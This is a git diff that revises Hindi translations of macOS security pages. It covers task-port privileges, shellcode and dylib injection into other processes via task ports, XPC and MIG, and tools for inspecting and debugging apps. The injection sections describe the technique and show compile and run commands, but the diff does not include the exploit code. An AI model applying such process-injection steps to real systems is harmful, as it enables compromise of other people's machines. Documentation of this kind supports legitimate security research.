प्राप्त पोर्ट - **होस्ट पोर्ट**: यदि किसी प्रक्रिया के पास इस पोर्ट पर **भेजने** का विशेषाधिकार है, तो वह **सिस्टम** के बारे में **जानकारी** प्राप्त कर सकता है (जैसे `host_processor_info`)। - **होस्ट प्रिव पोर्ट**: इस पोर्ट पर **भेजने** का अधिकार रखने वाली प्रक्रिया **विशेषाधिकार प्राप्त क्रियाएँ** कर सकती है जैसे कि कर्नेल एक्सटेंशन लोड करना। इस अनुमति को प्राप्त करने के लिए **प्रक्रिया को रूट होना चाहिए**। - इसके अलावा, **`kext_request`** API को कॉल करने के लिए अन्य अधिकारों की आवश्यकता होती है **`com.apple.private.kext*`** जो केवल Apple बाइनरी को दिए जाते हैं। -- **कार्य नाम पोर्ट:** _कार्य पोर्ट_ का एक अप्रिविलेज्ड संस्करण। यह कार्य को संदर्भित करता है, लेकिन इसे नियंत्रित करने की अनुमति नहीं देता। इसके माध्यम से उपलब्ध एकमात्र चीज `task_info()` प्रतीत होती है। +- **कार्य नाम पोर्ट:** _कार्य पोर्ट_ का एक अप्रिवileged संस्करण। यह कार्य को संदर्भित करता है, लेकिन इसे नियंत्रित करने की अनुमति नहीं देता। इसके माध्यम से उपलब्ध एकमात्र चीज `task_info()` प्रतीत होती है। - **कार्य पोर्ट** (जिसे कर्नेल पोर्ट भी कहा जाता है): इस पोर्ट पर भेजने की अनुमति के साथ कार्य को नियंत्रित करना संभव है (मेमोरी पढ़ना/लिखना, थ्रेड बनाना...)। -- कॉल करें `mach_task_self()` इस पोर्ट के लिए **नाम प्राप्त करने** के लिए कॉलर कार्य के लिए। यह पोर्ट केवल **`exec()`** के माध्यम से **विरासत में** मिलता है; `fork()` के साथ बनाए गए नए कार्य को एक नया कार्य पोर्ट मिलता है (एक विशेष मामले के रूप में, एक कार्य को `exec()` के बाद एक suid बाइनरी में भी एक नया कार्य पोर्ट मिलता है)। एक कार्य को उत्पन्न करने और इसके पोर्ट को प्राप्त करने का एकमात्र तरीका ["पोर्ट स्वैप डांस"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) करना है जबकि `fork()` कर रहे हैं। -- पोर्ट तक पहुँचने के लिए ये प्रतिबंध हैं (बाइनरी `AppleMobileFileIntegrity` से `macos_task_policy`): -- यदि ऐप के पास **`com.apple.security.get-task-allow` विशेषाधिकार** है, तो **समान उपयोगकर्ता की प्रक्रियाएँ कार्य पोर्ट** तक पहुँच सकती हैं (आमतौर पर डिबगिंग के लिए Xcode द्वारा जोड़ा जाता है)। **नोटरीकरण** प्रक्रिया इसे उत्पादन रिलीज़ में अनुमति नहीं देगी। -- **`com.apple.system-task-ports`** विशेषाधिकार वाले ऐप्स किसी भी प्रक्रिया के लिए **कार्य पोर्ट प्राप्त कर सकते हैं**, सिवाय कर्नेल के। पुराने संस्करणों में इसे **`task_for_pid-allow`** कहा जाता था। यह केवल Apple अनुप्रयोगों को दिया जाता है। -- **रूट उन अनुप्रयोगों के कार्य पोर्ट तक पहुँच सकता है** जो **हर्डनड** रनटाइम के साथ संकलित नहीं हैं (और Apple से नहीं हैं)। +- कॉल करें `mach_task_self()` इस पोर्ट के लिए **नाम प्राप्त करने** के लिए कॉलर कार्य के लिए। यह पोर्ट केवल **`exec()`** के माध्यम से **विरासत में** लिया जाता है; `fork()` के साथ बनाए गए नए कार्य को एक नया कार्य पोर्ट मिलता है (एक विशेष मामले के रूप में, एक कार्य को `exec()` के बाद एक suid बाइनरी में भी एक नया कार्य पोर्ट मिलता है)। एक कार्य को उत्पन्न करने और इसके पोर्ट को प्राप्त करने का एकमात्र तरीका ["पोर्ट स्वैप डांस"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) करना है जबकि `fork()` कर रहे हैं। +- पोर्ट तक पहुँचने के लिए ये प्रतिबंध हैं (बाइनरी `AppleMobileFileIntegrity` से `macos_task_policy` से): +- यदि ऐप के पास **`com.apple.security.get-task-allow` विशेषाधिकार** है, तो **समान उपयोगकर्ता** की प्रक्रियाएँ कार्य पोर्ट तक पहुँच सकती हैं (आमतौर पर डिबगिंग के लिए Xcode द्वारा जोड़ा जाता है)। **नोटरीकरण** प्रक्रिया इसे उत्पादन रिलीज़ में अनुमति नहीं देगी। +- **`com.apple.system-task-ports`** विशेषाधिकार वाले ऐप किसी भी प्रक्रिया के लिए **कार्य पोर्ट** प्राप्त कर सकते हैं, सिवाय कर्नेल के। पुराने संस्करणों में इसे **`task_for_pid-allow`** कहा जाता था। यह केवल Apple अनुप्रयोगों को दिया जाता है। +- **रूट कार्य पोर्ट** तक पहुँच सकता है उन अनुप्रयोगों के **जो** एक **हर्डनड** रनटाइम के साथ संकलित नहीं हैं (और Apple से नहीं हैं)। ### थ्रेड में टास्क पोर्ट के माध्यम से शेलकोड इंजेक्शन आप एक शेलकोड प्राप्त कर सकते हैं: + {{#ref}} ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} @@ -498,15 +499,15 @@ return 0; gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` -### थ्रेड में टास्क पोर्ट के माध्यम से डायलिब इंजेक्शन +### Dylib Injection in thread via Task port -macOS में **थ्रेड्स** को **Mach** के माध्यम से या **posix `pthread` api** का उपयोग करके नियंत्रित किया जा सकता है। पिछले इंजेक्शन में जो थ्रेड हमने उत्पन्न किया, वह Mach api का उपयोग करके उत्पन्न किया गया था, इसलिए **यह posix अनुपालन नहीं है**। +macOS में **threads** को **Mach** या **posix `pthread` api** का उपयोग करके नियंत्रित किया जा सकता है। पिछले इंजेक्शन में जो थ्रेड हमने उत्पन्न किया, वह Mach api का उपयोग करके उत्पन्न किया गया था, इसलिए **यह posix compliant नहीं है**। -एक **सरल शेलकोड** को एक कमांड निष्पादित करने के लिए **इंजेक्ट** करना संभव था क्योंकि इसे **posix** अनुपालन वाले apis के साथ काम करने की आवश्यकता नहीं थी, केवल Mach के साथ। **अधिक जटिल इंजेक्शन** के लिए **थ्रेड** को भी **posix अनुपालन** होना चाहिए। +एक **सरल shellcode** को एक कमांड निष्पादित करने के लिए **इंजेक्ट करना संभव था** क्योंकि इसे **posix** compliant apis के साथ काम करने की आवश्यकता नहीं थी, केवल Mach के साथ। **अधिक जटिल इंजेक्शन** के लिए **thread** को भी **posix compliant** होना चाहिए। -इसलिए, **थ्रेड को सुधारने** के लिए इसे **`pthread_create_from_mach_thread`** को कॉल करना चाहिए जो **एक मान्य pthread** बनाएगा। फिर, यह नया pthread **dlopen** को कॉल कर सकता है ताकि **सिस्टम से एक dylib** लोड किया जा सके, इसलिए विभिन्न क्रियाओं को करने के लिए नए शेलकोड लिखने के बजाय कस्टम लाइब्रेरीज़ लोड करना संभव है। +इसलिए, **thread** को **`pthread_create_from_mach_thread`** को कॉल करना चाहिए जो **एक मान्य pthread** बनाएगा। फिर, यह नया pthread **dlopen** को कॉल कर सकता है ताकि **सिस्टम से एक dylib** लोड किया जा सके, इसलिए विभिन्न क्रियाओं को करने के लिए नए shellcode लिखने के बजाय कस्टम लाइब्रेरीज़ लोड करना संभव है। -आप **उदाहरण dylibs** पा सकते हैं (उदाहरण के लिए, वह जो एक लॉग उत्पन्न करता है और फिर आप इसे सुन सकते हैं): +आप **उदाहरण dylibs** पा सकते हैं (उदाहरण के लिए वह जो एक लॉग उत्पन्न करता है और फिर आप इसे सुन सकते हैं): {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -792,7 +793,8 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ``` ### थ्रेड हाईजैकिंग द्वारा टास्क पोर्ट -इस तकनीक में प्रक्रिया का एक थ्रेड हाईजैक किया जाता है: +इस तकनीक में प्रक्रिया के एक थ्रेड को हाईजैक किया जाता है: + {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -802,20 +804,22 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ### बुनियादी जानकारी -XPC, जिसका अर्थ है XNU (macOS द्वारा उपयोग किया जाने वाला कर्नेल) इंटर-प्रोसेस कम्युनिकेशन, macOS और iOS पर **प्रक्रियाओं के बीच संचार** के लिए एक ढांचा है। XPC **सुरक्षित, असिंक्रोनस मेथड कॉल्स** करने के लिए एक तंत्र प्रदान करता है जो सिस्टम पर विभिन्न प्रक्रियाओं के बीच होता है। यह एप्पल के सुरक्षा सिद्धांत का एक हिस्सा है, जो **विशेषाधिकार-सेपरेटेड एप्लिकेशन्स** के निर्माण की अनुमति देता है जहाँ प्रत्येक **घटक** केवल **उन्हीं अनुमतियों** के साथ चलता है जिनकी उसे अपने कार्य को करने के लिए आवश्यकता होती है, इस प्रकार एक समझौता की गई प्रक्रिया से संभावित नुकसान को सीमित करता है। +XPC, जिसका अर्थ है XNU (macOS द्वारा उपयोग किया जाने वाला कर्नेल) इंटर-प्रोसेस कम्युनिकेशन, macOS और iOS पर **प्रक्रियाओं के बीच संचार** के लिए एक ढांचा है। XPC **सिस्टम पर विभिन्न प्रक्रियाओं के बीच सुरक्षित, असिंक्रोनस मेथड कॉल करने** के लिए एक तंत्र प्रदान करता है। यह एप्पल के सुरक्षा सिद्धांत का एक हिस्सा है, जो **अधिकार-सेपरेटेड एप्लिकेशनों** के **निर्माण** की अनुमति देता है जहाँ प्रत्येक **घटक** केवल **उन्हीं अनुमतियों** के साथ चलता है जिनकी उसे अपने कार्य को करने के लिए आवश्यकता होती है, इस प्रकार एक समझौता की गई प्रक्रिया से संभावित नुकसान को सीमित करता है। इस **संचार के काम करने के तरीके** और यह **कैसे कमजोर हो सकता है** के बारे में अधिक जानकारी के लिए देखें: + {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ {{#endref}} ## MIG - मच इंटरफेस जनरेटर -MIG को **मच IPC** कोड निर्माण की प्रक्रिया को **सरल बनाने** के लिए बनाया गया था। यह मूल रूप से एक दिए गए परिभाषा के लिए सर्वर और क्लाइंट के बीच संचार के लिए **आवश्यक कोड उत्पन्न करता है**। भले ही उत्पन्न कोड बदसूरत हो, एक डेवलपर को केवल इसे आयात करने की आवश्यकता होगी और उसका कोड पहले से कहीं अधिक सरल होगा। +MIG को **मच IPC** कोड निर्माण की प्रक्रिया को **सरल बनाने** के लिए बनाया गया था। यह मूल रूप से एक दिए गए परिभाषा के लिए सर्वर और क्लाइंट के बीच संचार के लिए आवश्यक कोड **जनरेट** करता है। भले ही जनरेट किया गया कोड बदसूरत हो, एक डेवलपर को केवल इसे आयात करने की आवश्यकता होगी और उसका कोड पहले से कहीं अधिक सरल होगा। अधिक जानकारी के लिए देखें: + {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md {{#endref}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 980f4cfcd..d9f3e1181 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -24,7 +24,7 @@ nm -m ./tccd # List of symbols ``` ### jtool2 & Disarm -आप [**यहां से disarm डाउनलोड कर सकते हैं**](https://newosxbook.com/tools/disarm.html)। +आप [**यहां से disarm डाउनलोड कर सकते हैं**](https://newosxbook.com/tools/disarm.html). ```bash ARCH=arm64e disarm -c -i -I --signature /path/bin # Get bin info and signature ARCH=arm64e disarm -c -l /path/bin # Get binary sections @@ -50,7 +50,7 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom # Get MIG information jtool2 -d __DATA.__const myipc_server | grep MIG ``` -> [!CAUTION] > **jtool का उपयोग बंद कर दिया गया है और disarm को प्राथमिकता दी गई है** +> [!CAUTION] > **jtool का उपयोग बंद कर दिया गया है और disarm का उपयोग किया जाना चाहिए** ### Codesign / ldid @@ -83,12 +83,12 @@ ldid -S/tmp/entl.xml ``` ### SuspiciousPackage -[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) एक उपकरण है जो **.pkg** फ़ाइलों (इंस्टॉलर) की जांच करने के लिए उपयोगी है और इसे स्थापित करने से पहले इसके अंदर क्या है, यह देखने के लिए।\ -इन इंस्टॉलरों में `preinstall` और `postinstall` बैश स्क्रिप्ट होती हैं जिन्हें मैलवेयर लेखक आमतौर पर **persist** **the** **malware** के लिए दुरुपयोग करते हैं। +[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) एक उपकरण है जो **.pkg** फ़ाइलों (इंस्टॉलर) की जांच करने के लिए उपयोगी है और यह देखने के लिए कि इसे स्थापित करने से पहले इसके अंदर क्या है।\ +इन इंस्टॉलरों में `preinstall` और `postinstall` बैश स्क्रिप्ट होते हैं जिनका उपयोग मैलवेयर लेखक आमतौर पर **persist** **the** **malware** के लिए करते हैं। ### hdiutil -यह उपकरण Apple डिस्क इमेज (**.dmg**) फ़ाइलों को **mount** करने की अनुमति देता है ताकि उन्हें कुछ भी चलाने से पहले जांचा जा सके: +यह उपकरण Apple डिस्क इमेज (**.dmg**) फ़ाइलों को **mount** करने की अनुमति देता है ताकि उन्हें चलाने से पहले जांचा जा सके: ```bash hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ``` @@ -97,7 +97,7 @@ It will be mounted in `/Volumes` ### Packed binaries - उच्च एंट्रॉपी के लिए जांचें -- स्ट्रिंग्स की जांच करें (क्या लगभग कोई समझने योग्य स्ट्रिंग नहीं है, पैक किया गया है) +- स्ट्रिंग्स की जांच करें (यदि लगभग कोई समझने योग्य स्ट्रिंग नहीं है, तो पैक किया गया है) - MacOS के लिए UPX पैकर एक सेक्शन बनाता है जिसे "\_\_XHDR" कहा जाता है ## Static Objective-C analysis @@ -105,14 +105,14 @@ It will be mounted in `/Volumes` ### Metadata > [!CAUTION] -> ध्यान दें कि Objective-C में लिखे गए प्रोग्राम **क्लास डिक्लेरेशन को बनाए रखते हैं** **जब** **कंपाइल** किया जाता है [Mach-O binaries](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) में। ऐसे क्लास डिक्लेरेशन **शामिल** करते हैं: +> ध्यान दें कि Objective-C में लिखे गए प्रोग्राम **क्लास डिक्लेरेशन को बनाए रखते हैं** **जब** **कंपाइल** किया जाता है [Mach-O binaries](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) में। ऐसे क्लास डिक्लेरेशन **में शामिल हैं**: - परिभाषित इंटरफेस - इंटरफेस विधियाँ - इंटरफेस इंस्टेंस वेरिएबल्स - परिभाषित प्रोटोकॉल -ध्यान दें कि ये नाम बाइनरी के रिवर्सिंग को अधिक कठिन बनाने के लिए छिपाए जा सकते हैं। +ध्यान दें कि ये नाम उलझाए जा सकते हैं ताकि बाइनरी का रिवर्सिंग करना अधिक कठिन हो जाए। ### Function calling @@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture ``` आप इस [**ब्लॉग पोस्ट में इन अनुभागों में संग्रहीत जानकारी**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html) के बारे में और जानकारी प्राप्त कर सकते हैं। -इसके अलावा, **Swift बाइनरी में प्रतीक हो सकते हैं** (उदाहरण के लिए, पुस्तकालयों को प्रतीकों को संग्रहीत करने की आवश्यकता होती है ताकि उनके कार्यों को कॉल किया जा सके)। **प्रतीकों में आमतौर पर कार्य का नाम** और विशेषता के बारे में जानकारी होती है, जो एक खराब तरीके से होती है, इसलिए वे बहुत उपयोगी होते हैं और ऐसे "**डेमैंग्लर्स"** होते हैं जो मूल नाम प्राप्त कर सकते हैं: +इसके अलावा, **Swift बाइनरी में प्रतीक हो सकते हैं** (उदाहरण के लिए पुस्तकालयों को प्रतीकों को संग्रहीत करने की आवश्यकता होती है ताकि उनके कार्यों को कॉल किया जा सके)। **प्रतीकों में आमतौर पर कार्य का नाम** और विशेषता के बारे में जानकारी होती है, इसलिए वे बहुत उपयोगी होते हैं और ऐसे "**डेमैंग्लर्स"** होते हैं जो मूल नाम प्राप्त कर सकते हैं: ```bash # Ghidra plugin https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py @@ -214,11 +214,11 @@ swift demangle macOS कुछ दिलचस्प APIs को उजागर करता है जो प्रक्रियाओं के बारे में जानकारी देते हैं: - `proc_info`: यह मुख्य है जो प्रत्येक प्रक्रिया के बारे में बहुत सारी जानकारी देता है। आपको अन्य प्रक्रियाओं की जानकारी प्राप्त करने के लिए रूट होना आवश्यक है लेकिन आपको विशेष अधिकार या मच पोर्ट की आवश्यकता नहीं है। -- `libsysmon.dylib`: यह XPC द्वारा उजागर की गई कार्यों के माध्यम से प्रक्रियाओं के बारे में जानकारी प्राप्त करने की अनुमति देता है, हालाँकि, इसके लिए `com.apple.sysmond.client` का अधिकार होना आवश्यक है। +- `libsysmon.dylib`: यह XPC द्वारा उजागर की गई कार्यों के माध्यम से प्रक्रियाओं के बारे में जानकारी प्राप्त करने की अनुमति देता है, हालाँकि, `com.apple.sysmond.client` का अधिकार होना आवश्यक है। ### स्टैकशॉट और माइक्रोस्टैकशॉट्स -**स्टैकशॉटिंग** एक तकनीक है जिसका उपयोग प्रक्रियाओं की स्थिति को कैप्चर करने के लिए किया जाता है, जिसमें सभी चल रहे थ्रेड्स के कॉल स्टैक शामिल होते हैं। यह विशेष रूप से डिबगिंग, प्रदर्शन विश्लेषण, और किसी विशेष समय पर सिस्टम के व्यवहार को समझने के लिए उपयोगी है। iOS और macOS पर, स्टैकशॉटिंग कई उपकरणों और विधियों का उपयोग करके किया जा सकता है जैसे **`sample`** और **`spindump`**। +**स्टैकशॉटिंग** एक तकनीक है जिसका उपयोग प्रक्रियाओं की स्थिति को कैप्चर करने के लिए किया जाता है, जिसमें सभी चल रहे थ्रेड्स के कॉल स्टैक शामिल होते हैं। यह विशेष रूप से डिबगिंग, प्रदर्शन विश्लेषण, और किसी विशेष समय पर सिस्टम के व्यवहार को समझने के लिए उपयोगी है। iOS और macOS पर, स्टैकशॉटिंग कई उपकरणों और विधियों का उपयोग करके की जा सकती है जैसे कि उपकरण **`sample`** और **`spindump`**। ### Sysdiagnose @@ -230,7 +230,7 @@ macOS कुछ दिलचस्प APIs को उजागर करता - `com.apple.sysdiagnose.CacheDelete`: /var/rmp में पुराने आर्काइव को हटाता है - `com.apple.sysdiagnose.kernel.ipc`: विशेष पोर्ट 23 (kernel) -- `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-C क्लास के माध्यम से उपयोगकर्ता मोड इंटरफेस। एक dict में तीन तर्क पास किए जा सकते हैं (`compress`, `display`, `run`) +- `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-C वर्ग के माध्यम से उपयोगकर्ता मोड इंटरफ़ेस। एक dict में तीन तर्क पास किए जा सकते हैं (`compress`, `display`, `run`) ### यूनिफाइड लॉग्स @@ -240,25 +240,25 @@ MacOS बहुत सारे लॉग उत्पन्न करता ह ### हॉप्पर -#### बाएँ पैनल +#### बाईं पैनल -हॉप्पर के बाएँ पैनल में बाइनरी के प्रतीक (**Labels**), प्रक्रियाओं और कार्यों की सूची (**Proc**) और स्ट्रिंग्स (**Str**) देखी जा सकती हैं। ये सभी स्ट्रिंग्स नहीं हैं बल्कि वे हैं जो Mac-O फ़ाइल के कई भागों में परिभाषित हैं (जैसे _cstring या_ `objc_methname`)। +हॉप्पर के बाईं पैनल में बाइनरी के प्रतीक (**Labels**), प्रक्रियाओं और कार्यों की सूची (**Proc**) और स्ट्रिंग्स (**Str**) देखी जा सकती हैं। ये सभी स्ट्रिंग्स नहीं हैं बल्कि वे हैं जो Mac-O फ़ाइल के कई भागों में परिभाषित हैं (जैसे _cstring या_ `objc_methname`)। #### मध्य पैनल -मध्य पैनल में आप **डिस्सेम्बल्ड कोड** देख सकते हैं। और आप इसे **कच्चे** डिस्सेम्बल, **ग्राफ** के रूप में, **डीकंपाइल्ड** और **बाइनरी** के रूप में संबंधित आइकन पर क्लिक करके देख सकते हैं: +मध्य पैनल में आप **डिस्सेम्बल्ड कोड** देख सकते हैं। और आप इसे **कच्चे** डिस्सेम्बल, **ग्राफ** के रूप में, **डीकंपाइल** के रूप में और **बाइनरी** के रूप में देख सकते हैं, संबंधित आइकन पर क्लिक करके:
-कोड ऑब्जेक्ट पर राइट-क्लिक करके आप **उस ऑब्जेक्ट के लिए संदर्भ** देख सकते हैं या यहां तक कि इसका नाम बदल सकते हैं (यह डी-कंपाइल्ड प्सेडोकोड में काम नहीं करता): +कोड ऑब्जेक्ट पर दाएं क्लिक करने पर आप **उस ऑब्जेक्ट के लिए संदर्भ** देख सकते हैं या यहां तक कि इसका नाम बदल सकते हैं (यह डीकंपाइल किए गए प्सेडोकोड में काम नहीं करता):
इसके अलावा, **मध्य नीचे आप पायथन कमांड लिख सकते हैं**। -#### दाएँ पैनल +#### दाईं पैनल -दाएँ पैनल में आप दिलचस्प जानकारी देख सकते हैं जैसे **नेविगेशन इतिहास** (ताकि आप जान सकें कि आप वर्तमान स्थिति पर कैसे पहुंचे), **कॉल ग्राफ** जहां आप देख सकते हैं सभी **कार्य जो इस कार्य को कॉल करते हैं** और सभी कार्य जो **यह कार्य कॉल करता है**, और **स्थानीय चर** की जानकारी। +दाईं पैनल में आप दिलचस्प जानकारी देख सकते हैं जैसे **नेविगेशन इतिहास** (ताकि आप जान सकें कि आप वर्तमान स्थिति पर कैसे पहुंचे), **कॉल ग्राफ** जहां आप देख सकते हैं सभी **कार्य जो इस कार्य को कॉल करते हैं** और सभी कार्य जो **यह कार्य कॉल करता है**, और **स्थानीय चर** की जानकारी। ### dtrace @@ -269,7 +269,7 @@ DTrace प्रत्येक सिस्टम कॉल के लिए > [!TIP] > Dtrace को पूरी तरह से SIP सुरक्षा को अक्षम किए बिना सक्षम करने के लिए आप रिकवरी मोड में निष्पादित कर सकते हैं: `csrutil enable --without dtrace` > -> आप **`dtrace`** या **`dtruss`** बाइनरीज़ भी कर सकते हैं जो **आपने संकलित की हैं**। +> आप **`dtrace`** या **`dtruss`** बाइनरी भी कर सकते हैं जो **आपने संकलित की हैं**। dtrace के उपलब्ध प्रोब्स को प्राप्त किया जा सकता है: ```bash @@ -339,7 +339,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000 ``` ### kdebug -यह एक कर्नेल ट्रेसिंग सुविधा है। दस्तावेज़ीकृत कोड **`/usr/share/misc/trace.codes`** में पाए जा सकते हैं। +यह एक कर्नेल ट्रेसिंग सुविधा है। दस्तावेज़ित कोड **`/usr/share/misc/trace.codes`** में पाए जा सकते हैं। `latency`, `sc_usage`, `fs_usage` और `trace` जैसे उपकरण इसका आंतरिक रूप से उपयोग करते हैं। @@ -349,7 +349,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000 - KERN_KDSETREMOVE के साथ मौजूदा सेटिंग्स को हटाएं - KERN_KDSETBUF और KERN_KDSETUP के साथ ट्रेस सेट करें -- KERN_KDGETBUF का उपयोग करके बफर प्रविष्टियों की संख्या प्राप्त करें +- बफर प्रविष्टियों की संख्या प्राप्त करने के लिए KERN_KDGETBUF का उपयोग करें - KERN_KDPINDEX के साथ ट्रेस से अपने क्लाइंट को प्राप्त करें - KERN_KDENABLE के साथ ट्रेसिंग सक्षम करें - KERN_KDREADTR को कॉल करके बफर पढ़ें @@ -357,7 +357,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000 इस जानकारी को प्राप्त करने के लिए Apple उपकरण **`trace`** या कस्टम उपकरण [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** का उपयोग करना संभव है।** -**ध्यान दें कि Kdebug केवल एक ग्राहक के लिए एक समय में उपलब्ध है।** इसलिए एक समय में केवल एक k-debug संचालित उपकरण चलाया जा सकता है। +**ध्यान दें कि Kdebug केवल एक ग्राहक के लिए एक समय में उपलब्ध है।** इसलिए केवल एक k-debug संचालित उपकरण को एक ही समय में निष्पादित किया जा सकता है। ### ktrace @@ -375,7 +375,7 @@ Or `tailspin`. यह कर्नेल स्तर की प्रोफाइलिंग करने के लिए उपयोग किया जाता है और इसे `Kdebug` कॉलआउट्स का उपयोग करके बनाया गया है। -बुनियादी रूप से, वैश्विक चर `kernel_debug_active` की जांच की जाती है और इसे सेट किया जाता है, यह `kperf_kdebug_handler` को `Kdebug` कोड और कर्नेल फ्रेम के पते के साथ कॉल करता है। यदि `Kdebug` कोड में से एक से मेल खाता है, तो इसे एक बिटमैप के रूप में कॉन्फ़िगर की गई "क्रियाएँ" मिलती हैं (विकल्पों के लिए `osfmk/kperf/action.h` देखें)। +बुनियादी रूप से, वैश्विक चर `kernel_debug_active` की जांच की जाती है और इसे सेट किया जाता है, यह `kperf_kdebug_handler` को `Kdebug` कोड और कर्नेल फ्रेम के पते के साथ कॉल करता है। यदि `Kdebug` कोड में से एक से मेल खाता है, तो इसे एक बिटमैप के रूप में कॉन्फ़िगर किए गए "क्रियाएँ" मिलती हैं (विकल्पों के लिए `osfmk/kperf/action.h` देखें)। Kperf का एक sysctl MIB तालिका भी है: (रूट के रूप में) `sysctl kperf`। ये कोड `osfmk/kperf/kperfbsd.c` में पाए जा सकते हैं। @@ -388,7 +388,7 @@ Kperf का एक sysctl MIB तालिका भी है: (रूट क ### SpriteTree [**SpriteTree**](https://themittenmac.com/tools/) एक उपकरण है जो प्रक्रियाओं के बीच संबंधों को प्रिंट करता है।\ -आपको अपने मैक को एक कमांड के साथ मॉनिटर करना होगा जैसे **`sudo eslogger fork exec rename create > cap.json`** (इसकी आवश्यकता के लिए टर्मिनल को FDA लॉन्च करना आवश्यक है)। और फिर आप इस उपकरण में json लोड कर सकते हैं ताकि सभी संबंधों को देख सकें: +आपको अपने मैक को एक कमांड के साथ मॉनिटर करना होगा जैसे **`sudo eslogger fork exec rename create > cap.json`** (इसकी आवश्यकता के लिए टर्मिनल को FDA लॉन्च करना होगा)। और फिर आप इस उपकरण में json लोड कर सकते हैं ताकि सभी संबंधों को देख सकें:
@@ -398,11 +398,11 @@ Kperf का एक sysctl MIB तालिका भी है: (रूट क ### Crescendo -[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) एक GUI उपकरण है जिसका रूप और अनुभव Windows उपयोगकर्ताओं को Microsoft Sysinternal के _Procmon_ से परिचित हो सकता है। यह उपकरण विभिन्न प्रकार की घटनाओं के रिकॉर्डिंग को शुरू और बंद करने की अनुमति देता है, इन घटनाओं को फ़ाइल, प्रक्रिया, नेटवर्क आदि जैसी श्रेणियों द्वारा फ़िल्टर करने की अनुमति देता है, और json प्रारूप में रिकॉर्ड की गई घटनाओं को सहेजने की कार्यक्षमता प्रदान करता है। +[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) एक GUI उपकरण है जिसका रूप और अनुभव Windows उपयोगकर्ताओं को Microsoft Sysinternal के _Procmon_ से परिचित हो सकता है। यह उपकरण विभिन्न प्रकार की घटनाओं को रिकॉर्ड करने की अनुमति देता है, जिन्हें शुरू और बंद किया जा सकता है, इन घटनाओं को फ़ाइल, प्रक्रिया, नेटवर्क आदि जैसी श्रेणियों द्वारा फ़िल्टर करने की अनुमति देता है, और रिकॉर्ड की गई घटनाओं को json प्रारूप में सहेजने की कार्यक्षमता प्रदान करता है। ### Apple Instruments -[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) Xcode के डेवलपर उपकरणों का हिस्सा हैं - जो अनुप्रयोग प्रदर्शन की निगरानी, मेमोरी लीक की पहचान और फ़ाइल सिस्टम गतिविधि को ट्रैक करने के लिए उपयोग किए जाते हैं। +[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) Xcode के डेवलपर उपकरणों का हिस्सा हैं - जो एप्लिकेशन प्रदर्शन की निगरानी, मेमोरी लीक की पहचान और फ़ाइल सिस्टम गतिविधि को ट्रैक करने के लिए उपयोग किए जाते हैं। ![](<../../../images/image (1138).png>) @@ -420,11 +420,11 @@ fs_usage -w -f network curl #This tracks network actions ## PT_DENY_ATTACH -[**इस ब्लॉग पोस्ट**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) में आप एक उदाहरण पा सकते हैं कि कैसे **एक चल रहे डेमन** को **debug** किया जाए जिसने **`PT_DENY_ATTACH`** का उपयोग किया ताकि डिबगिंग को रोका जा सके, भले ही SIP बंद था। +[**इस ब्लॉग पोस्ट**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) में आप एक उदाहरण पा सकते हैं कि कैसे **एक चल रहे डेमन** को **`PT_DENY_ATTACH`** का उपयोग करके डिबग किया जाए ताकि डिबगिंग को रोका जा सके, भले ही SIP अक्षम हो। ### lldb -**lldb** **macOS** बाइनरी **debugging** के लिए de **facto tool** है। +**lldb** **macOS** बाइनरी **डिबगिंग** के लिए de **facto tool** है। ```bash lldb ./malware.bin lldb -p 1122 @@ -440,7 +440,7 @@ settings set target.x86-disassembly-flavor intel
(lldb) कमांडविवरण
run (r)कार्यवाही शुरू करना, जो तब तक जारी रहेगा जब तक कि एक ब्रेकपॉइंट हिट न हो या प्रक्रिया समाप्त न हो जाए।
process launch --stop-at-entryप्रवेश बिंदु पर रुकते हुए कार्यवाही शुरू करें
continue (c)डीबग की गई प्रक्रिया की कार्यवाही जारी रखें।
nexti (n / ni)अगली निर्देश को निष्पादित करें। यह कमांड फ़ंक्शन कॉल को छोड़ देगा।
